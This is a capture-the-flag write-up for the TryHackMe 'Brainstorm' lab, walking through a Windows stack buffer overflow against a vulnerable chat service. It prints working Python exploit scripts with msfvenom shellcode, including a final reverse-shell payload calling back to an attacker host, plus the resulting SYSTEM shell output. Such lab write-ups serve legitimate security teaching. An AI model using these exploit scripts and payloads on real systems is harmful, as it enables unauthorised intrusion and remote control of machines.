Post

THM: Brainstorm

THM: Brainstorm

Summary


In this lab we will construct a basic stack buffer overflow exploit to gain control over a system that is running a vulnerable chat service that does not use any memory protections.

Enumeration


We start with a nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
kali㉿kali $ nmap -T4 -Pn -sV -sC -p- 10.10.205.219 -oA scans/full_tcp
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-16 14:53 CET
Stats: 0:01:48 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 14:55 (0:00:12 remaining)
Nmap scan report for 10.10.205.219
Host is up (0.040s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|_  SYST: Windows_NT
3389/tcp open  ms-wbt-server Microsoft Terminal Service
|_ssl-date: 2025-11-16T13:58:40+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=brainstorm
| Not valid before: 2025-11-15T13:52:28
|_Not valid after:  2026-05-17T13:52:28
9999/tcp open  abyss?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     Welcome to Brainstorm chat (beta)
|     Please enter your username (max 20 characters): Write a message:
|   NULL: 
|     Welcome to Brainstorm chat (beta)
|_    Please enter your username (max 20 characters):
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...<SNIP>...
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 291.99 seconds

We see that there are three ports open:

  • An ftp server that allows anonymous authentication on port 21
  • Microsoft WBT Server, used for e.g. Windows Remote Desktop on port 3389
  • What looks like a chat application on port 9999

Port 9999


Probing port 9999, we can see that the applications ask for your name and allows you to post messages. We can reasonably conclude that this is the service that is vulnerable to a buffer overflow.

1
2
3
4
5
6
7
8
9
kali㉿kali $ nc 10.10.205.219 9999
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): mario
Write a message: hello

Sun Nov 16 06:00:19 2025
mario said: hello

Write a message:  

Port 21


As we discovered with nmap, we can access the ftp server without credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
kali㉿kali $ ftp anonymous@10.10.205.219
Connected to 10.10.205.219.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.

ftp> passive
Passive mode: off; fallback to active mode: off.

ftp> ls
200 EPRT command successful.
125 Data connection already open; Transfer starting.
08-29-19  07:36PM       <DIR>          chatserver
226 Transfer complete.

ftp> cd chatserver
250 CWD command successful.

ftp> ls
200 EPRT command successful.
125 Data connection already open; Transfer starting.
08-29-19  09:26PM                43747 chatserver.exe
08-29-19  09:27PM                30761 essfunc.dll
226 Transfer complete.

We find that the server is hosting the chat server binary, so we download the files and transfer them to a Windows 11 VM.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ftp> binary
200 Type set to I.

ftp> get chatserver.exe
local: chatserver.exe remote: chatserver.exe
200 EPRT command successful.
...<SNIP>...
226 Transfer complete.
43747 bytes received in 00:00 (157.42 KiB/s)

ftp> get essfunc.dll
local: essfunc.dll remote: essfunc.dll
200 EPRT command successful.
...<SNIP>...
226 Transfer complete.
30761 bytes received in 00:00 (186.21 KiB/s)

Furthermore, we find that the chat server is a 32-bit executable.

1
2
kali㉿kali $ file chatserver.exe        
chatserver.exe: PE32 executable for MS Windows 4.00 (console), Intel i386 (stripped to external PDB), 7 sections

Exploit development


To exploit the chat service, we are going to overflow the message buffer to write our payload on the stack, and overwrite the instruction pointer such that the flow of executions is directed to our payload.

To analyse the binary and develop an exploit we are going to use the 32-bit version of x64dbg (with the ERC plugin) in our Windows 11 VM.

When we run the chat server in our VM, the service starts listening on port 9999.

Chatserver running on port 9999 Chatserver running on port 9999

Finding the vulnerable input parameter


Earlier we saw that the chat server expects at most 20 characters for the username, and when we try to provide a longer name, the extra characters are seemingly ignored.

Sending username to the chatserver Sending username to the chatserver

However, sending a lot of characters does not seem to crash the server.
Moving on to the message, we first put 5000 A’s on our clipboard

1
kali㉿kali $ python3 -c 'print("A"*5000)' | xclip -sel c 

Here we use xclip to put the output directly to our clipboard, without xclip you can copy the output from the terminal instead.

When we paste the A’s and send the message, the server crashes.

We will use this python script to send progressively longer messages, to see approximately how many characters are needed to overflow the buffer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket
from time import sleep

IP = "127.0.0.1"
port = 9999

def fuzz():
    try:
        for i in range(0,10000,500):
            buffer = b"A" * i
            print(f"Fuzzing {i} bytes")
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((IP, port))
            s.recv(1024)
            s.send(b"Mario\r\n")
            sleep(1)
            s.recv(1024)
            s.send(buffer)
            input("press any key to continue")
            s.close()
    except:
        print("Could not establish a connection")

fuzz()

The script will establish a connection, receive the welcome text from the server, send our username, and then send an increasing amount of A’s.

We find that when we sent 2500 bytes x64dbg reports an access violation exception and the instruction pointer, EIP, is overwritten with A’s. (Note: 0x41 is the ASCII code for A)

Fuzzing results Fuzzing results

Finding the offset to EIP


To control EIP, we need to know the offset from the start of our input to the EIP. To do this, we will send input that contains a specific pattern that allows us to calculate the offset using the data that EIP gets overwritten with. To generate the pattern we will use a utility called pattern_create.

1
kali㉿kali $ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500 | xclip -sel c

Now we can use this python script to send the pattern, and then retrieve the content of EIP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import socket

IP = "127.0.0.1"
port = 9999

def eip_offset():
    pattern = bytes("<LONG PATTERN STRING HERE>", "utf-8")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, port))
    s.recv(1024)
    s.send(b"Mario\r\n")
    sleep(1)
    s.recv(1024)
    s.send(pattern)
    input("press any key to continue")
    s.close()

eip_offset()

We find that EIP gets overwritten with 31704330.

Viewing the value of EIP in x64dbg Viewing the value of EIP in x64dbg

Given this information, we can now use the utility pattern_offset to calculate the offset.

1
2
kali㉿kali $ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2500 -q 31704330   
[*] Exact match at offset 2012

The offset is 2012.

Controlling EIP


Using this python script, we send an amount of A’s equal to the offset, and then four B’s that we want to overwrite EIP with.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def eip_control(offset):
    buffer = b"A" * offset
    eip = b"B" * 4
    payload = buffer + eip

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, port))
    s.recv(1024)
    s.send(b"Mario\r\n")
    sleep(1)
    s.recv(1024)
    s.send(payload)
    input("press any key to continue")
    s.close()

eip_control(2012)

We see that we have successfully overwritten EIP with four B’s. (Note: 0x42 is the ascii code for B)
This confirms that the offset is correct, and that we can control EIP.

Viewing the value of EIP in x64dbg after running the python script Viewing the value of EIP in x64dbg after running the python script

Identifying bad characters


Certain characters are used to tell the program that it has reached the end of the input, and these characters can vary depending on how a program processes the input. These characters are known as bad characters, as they would terminate our input early, leaving our payload invalid.

To identify bad characters, we will append all possible characters to the input we send, and then compare the program memory to the characters we sent. If there are no bad characters, the program memory would reflect what we sent, and if it differs, it would be due to bad character(s).

To save time, we will assume that the bytes 0x00, 0x0a, and 0x0d are bad, as they often are.

We can use ERC to generate characters. Two files will be generated, one .txt file where we can copy the characters from to use in our python script, and one .bin file that we will use to compare to program memory.

1
ERC --bytearray -bytes 0x00,0x0a,0x0d

Running ERC in x64dbg to generate a bytearray Running ERC in x64dbg to generate a bytearray

We can now use this python script to send our payload with the bad characters appended.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def bad_chars(offset):
    all_chars = bytes([
        0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
        0x09, 0x0B, 0x0C, 0x0E, 0x0F, 0x10, 0x11, 0x12,
        0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A,
        0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22,
        0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A,
        0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32,
        0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A,
        0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42,
        0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A,
        0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52,
        0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A,
        0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62,
        0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A,
        0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72,
        0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A,
        0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82,
        0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A,
        0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92,
        0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A,
        0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2,
        0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA,
        0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2,
        0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA,
        0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2,
        0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA,
        0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2,
        0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA,
        0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2,
        0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA,
        0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2,
        0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA,
        0xFB, 0xFC, 0xFD, 0xFE, 0xFF
    ])

    buffer = b"A" * offset
    eip = b"B" * 4
    payload = buffer + eip + all_chars

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, port))
    s.recv(1024)
    s.send(b"Mario\r\n")
    sleep(1)
    s.recv(1024)
    s.send(payload)
    input("press any key to continue")
    s.close()
    
bad_chars(2012)

Then, we use ERC to compare the program memory to the .bin file. We use the stack pointer (ESP) to know where to start to compare, as that is where we are writing our data after overflowing the buffer and EIP.

We can find the address that ESP holds in x64dbg.

Viewing the value of ESP in x64dbg Viewing the value of ESP in x64dbg

Then we compare the program memory to the .bin file.

1
ERC --compare 0101EEAC C:\Users\User\Desktop\ByteArray_1.bin

We can see that the memory lines up perfectly, indicating that there are no more bad characters. If there was another bad character the data would diverge at the point where the character would be.

Using ERC to compare memory regions in x64dbg Using ERC to compare memory regions in x64dbg

Finding a module


What we need next to perform this primitive stack overflow is a module without memory protections. For example, protections like NX makes it so that the program cannot execute code on the stack, and ASLR randomizes the address space every time the program is run. Both would render the attack we are trying ineffective.

To find what modules are available, we will use ERC.

1
ERC --ModuleInfo -NXCompat

Using ERC to view modules in x64dbg Using ERC to view modules in x64dbg

We can see that neither the chatserver.exe nor the .dll that we found use any protections, so we can use either of them.
Go to Symbols, double click essfunc.dll, and search for jmp esp with ctrl+f.

Search results in x64dbg Search results in x64dbg

We can use any of these addresses to overwrite EIP with, to direct the flow of execution to the stack where we will write our payload.

Payload


We will use msfvenom to generate our shellcode. Since the payload can not contain any bad characters, we denote those with -b. First, we will try to pop a calculator as a proof of concept.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
kali㉿kali $ msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b '\x00\x0a\x0d'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1100 bytes
buf =  b""
buf += b"\xda\xd3\xba\x05\xd2\x3c\x8f\xd9\x74\x24\xf4\x5e"
buf += b"\x31\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xc6"
buf += b"\x01\x30\xc9\x73\xe1\x36\x32\x8c\xf1\x56\xba\x69"
buf += b"\xc0\x56\xd8\xfa\x72\x67\xaa\xaf\x7e\x0c\xfe\x5b"
buf += b"\xf5\x60\xd7\x6c\xbe\xcf\x01\x42\x3f\x63\x71\xc5"
buf += b"\xc3\x7e\xa6\x25\xfa\xb0\xbb\x24\x3b\xac\x36\x74"
buf += b"\x94\xba\xe5\x69\x91\xf7\x35\x01\xe9\x16\x3e\xf6"
buf += b"\xb9\x19\x6f\xa9\xb2\x43\xaf\x4b\x17\xf8\xe6\x53"
buf += b"\x74\xc5\xb1\xe8\x4e\xb1\x43\x39\x9f\x3a\xef\x04"
buf += b"\x10\xc9\xf1\x41\x96\x32\x84\xbb\xe5\xcf\x9f\x7f"
buf += b"\x94\x0b\x15\x64\x3e\xdf\x8d\x40\xbf\x0c\x4b\x02"
buf += b"\xb3\xf9\x1f\x4c\xd7\xfc\xcc\xe6\xe3\x75\xf3\x28"
buf += b"\x62\xcd\xd0\xec\x2f\x95\x79\xb4\x95\x78\x85\xa6"
buf += b"\x76\x24\x23\xac\x9a\x31\x5e\xef\xf0\xc4\xec\x95"
buf += b"\xb6\xc7\xee\x95\xe6\xaf\xdf\x1e\x69\xb7\xdf\xf4"
buf += b"\xce\x47\xaa\x55\x66\xc0\x73\x0c\x3b\x8d\x83\xfa"
buf += b"\x7f\xa8\x07\x0f\xff\x4f\x17\x7a\xfa\x14\x9f\x96"
buf += b"\x76\x04\x4a\x99\x25\x25\x5f\xfa\xa8\xb5\x03\xd3"
buf += b"\x4f\x3e\xa1\x2b"

To construct the entire payload, we will use the jmp esp address we found earlier instead of four B’s as we did before, and we will use the struct library as the address needs to be little-endian.
Furthermore, due to how stack frames and stack alignment work, ESP might be slightly different after jmp esp has been executed.
To circumvent potential crashes, we can pad our payload with a couple of NOPs (no operation, machine code 0x90). When these instructions are hit, the CPU will simply do nothing. This technique is known as a NOP slide.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import socket
from struct import pack
from time import sleep

IP = "<MACHINE IP>"
PORT = 9999

def exploit(offset):
    buf =  b""
	buf += b"\xda\xd3\xba\x05\xd2\x3c\x8f\xd9\x74\x24\xf4\x5e"
	buf += b"\x31\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xc6"
	buf += b"\x01\x30\xc9\x73\xe1\x36\x32\x8c\xf1\x56\xba\x69"
	buf += b"\xc0\x56\xd8\xfa\x72\x67\xaa\xaf\x7e\x0c\xfe\x5b"
	buf += b"\xf5\x60\xd7\x6c\xbe\xcf\x01\x42\x3f\x63\x71\xc5"
	buf += b"\xc3\x7e\xa6\x25\xfa\xb0\xbb\x24\x3b\xac\x36\x74"
	buf += b"\x94\xba\xe5\x69\x91\xf7\x35\x01\xe9\x16\x3e\xf6"
	buf += b"\xb9\x19\x6f\xa9\xb2\x43\xaf\x4b\x17\xf8\xe6\x53"
	buf += b"\x74\xc5\xb1\xe8\x4e\xb1\x43\x39\x9f\x3a\xef\x04"
	buf += b"\x10\xc9\xf1\x41\x96\x32\x84\xbb\xe5\xcf\x9f\x7f"
	buf += b"\x94\x0b\x15\x64\x3e\xdf\x8d\x40\xbf\x0c\x4b\x02"
	buf += b"\xb3\xf9\x1f\x4c\xd7\xfc\xcc\xe6\xe3\x75\xf3\x28"
	buf += b"\x62\xcd\xd0\xec\x2f\x95\x79\xb4\x95\x78\x85\xa6"
	buf += b"\x76\x24\x23\xac\x9a\x31\x5e\xef\xf0\xc4\xec\x95"
	buf += b"\xb6\xc7\xee\x95\xe6\xaf\xdf\x1e\x69\xb7\xdf\xf4"
	buf += b"\xce\x47\xaa\x55\x66\xc0\x73\x0c\x3b\x8d\x83\xfa"
	buf += b"\x7f\xa8\x07\x0f\xff\x4f\x17\x7a\xfa\x14\x9f\x96"
	buf += b"\x76\x04\x4a\x99\x25\x25\x5f\xfa\xa8\xb5\x03\xd3"
	buf += b"\x4f\x3e\xa1\x2b"

    buffer = b"A" * offset
    eip = pack('<L', 0x625014DF) # little endian
    nops = b"\x90" * 32
    payload = buffer + eip + nops + buf

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, PORT))
    s.recv(1024)
    s.send(b"Mario\r\n")
    sleep(1)
    s.recv(1024)
    s.send(payload)
    input("press any key to continue")
    s.close()
    
exploit(2012)

We run the exploit, the chat server crashes, and we pop a calculator.

Popping a calculator after running our exploit Popping a calculator after running our exploit

Now, to exploit the real server, we generate a reverse shell payload.

1
kali㉿kali $ msfvenom -p 'windows/shell_reverse_tcp' LHOST=10.14.111.160 LPORT=80 -b '\x00\x0a\x0d' -f 'python'

The Final Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import socket
from struct import pack
from time import sleep

IP = "<MACHINE IP>"
PORT = 9999

def exploit(offset):
    # msfvenom -p 'windows/shell_reverse_tcp' LHOST=10.14.111.160 LPORT=80 -b '\x00\x0a\x0d' -f 'python'
    buf =  b""
    buf += b"\xbb\x76\xd2\xa7\xb6\xda\xd3\xd9\x74\x24\xf4\x5a"
    buf += b"\x33\xc9\xb1\x52\x83\xea\xfc\x31\x5a\x0e\x03\x2c"
    buf += b"\xdc\x45\x43\x2c\x08\x0b\xac\xcc\xc9\x6c\x24\x29"
    buf += b"\xf8\xac\x52\x3a\xab\x1c\x10\x6e\x40\xd6\x74\x9a"
    buf += b"\xd3\x9a\x50\xad\x54\x10\x87\x80\x65\x09\xfb\x83"
    buf += b"\xe5\x50\x28\x63\xd7\x9a\x3d\x62\x10\xc6\xcc\x36"
    buf += b"\xc9\x8c\x63\xa6\x7e\xd8\xbf\x4d\xcc\xcc\xc7\xb2"
    buf += b"\x85\xef\xe6\x65\x9d\xa9\x28\x84\x72\xc2\x60\x9e"
    buf += b"\x97\xef\x3b\x15\x63\x9b\xbd\xff\xbd\x64\x11\x3e"
    buf += b"\x72\x97\x6b\x07\xb5\x48\x1e\x71\xc5\xf5\x19\x46"
    buf += b"\xb7\x21\xaf\x5c\x1f\xa1\x17\xb8\xa1\x66\xc1\x4b"
    buf += b"\xad\xc3\x85\x13\xb2\xd2\x4a\x28\xce\x5f\x6d\xfe"
    buf += b"\x46\x1b\x4a\xda\x03\xff\xf3\x7b\xee\xae\x0c\x9b"
    buf += b"\x51\x0e\xa9\xd0\x7c\x5b\xc0\xbb\xe8\xa8\xe9\x43"
    buf += b"\xe9\xa6\x7a\x30\xdb\x69\xd1\xde\x57\xe1\xff\x19"
    buf += b"\x97\xd8\xb8\xb5\x66\xe3\xb8\x9c\xac\xb7\xe8\xb6"
    buf += b"\x05\xb8\x62\x46\xa9\x6d\x24\x16\x05\xde\x85\xc6"
    buf += b"\xe5\x8e\x6d\x0c\xea\xf1\x8e\x2f\x20\x9a\x25\xca"
    buf += b"\xa3\xaf\xb7\xbb\x93\xd8\xc5\x43\xd4\x48\x43\xa5"
    buf += b"\xbe\x78\x05\x7e\x57\xe0\x0c\xf4\xc6\xed\x9a\x71"
    buf += b"\xc8\x66\x29\x86\x87\x8e\x44\x94\x70\x7f\x13\xc6"
    buf += b"\xd7\x80\x89\x6e\xbb\x13\x56\x6e\xb2\x0f\xc1\x39"
    buf += b"\x93\xfe\x18\xaf\x09\x58\xb3\xcd\xd3\x3c\xfc\x55"
    buf += b"\x08\xfd\x03\x54\xdd\xb9\x27\x46\x1b\x41\x6c\x32"
    buf += b"\xf3\x14\x3a\xec\xb5\xce\x8c\x46\x6c\xbc\x46\x0e"
    buf += b"\xe9\x8e\x58\x48\xf6\xda\x2e\xb4\x47\xb3\x76\xcb"
    buf += b"\x68\x53\x7f\xb4\x94\xc3\x80\x6f\x1d\xf3\xca\x2d"
    buf += b"\x34\x9c\x92\xa4\x04\xc1\x24\x13\x4a\xfc\xa6\x91"
    buf += b"\x33\xfb\xb7\xd0\x36\x47\x70\x09\x4b\xd8\x15\x2d"
    buf += b"\xf8\xd9\x3f"

    buffer = b"A" * offset
    eip = pack('<L', 0x625014DF) # little endian
    nops = b"\x90" * 32
    payload = buffer + eip + nops + buf

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, PORT))
    s.recv(1024)
    s.send(b"Mario\r\n")
    sleep(1)
    s.recv(1024)
    s.send(payload)
    input("press any key to continue")
    s.close()

exploit(2012)

We start a netcat listener on port 80, and run the exploit.

1
2
3
4
5
6
7
8
kali㉿kali $ nc -lvnp 80
listening on [any] 80 ...
connect to [10.14.111.160] from (UNKNOWN) [10.10.29.210] 49353
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

We find the flag in C:\Users\drake\Desktop.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\Users\drake\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is C87F-5040

 Directory of C:\Users\drake\Desktop

08/29/2019  09:55 PM    <DIR>          .
08/29/2019  09:55 PM    <DIR>          ..
08/29/2019  09:55 PM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  19,559,358,464 bytes free
               
C:\Users\drake\Desktop>type root.txt
5b[REDACTED]8a
This post is licensed under CC BY 4.0 by the author.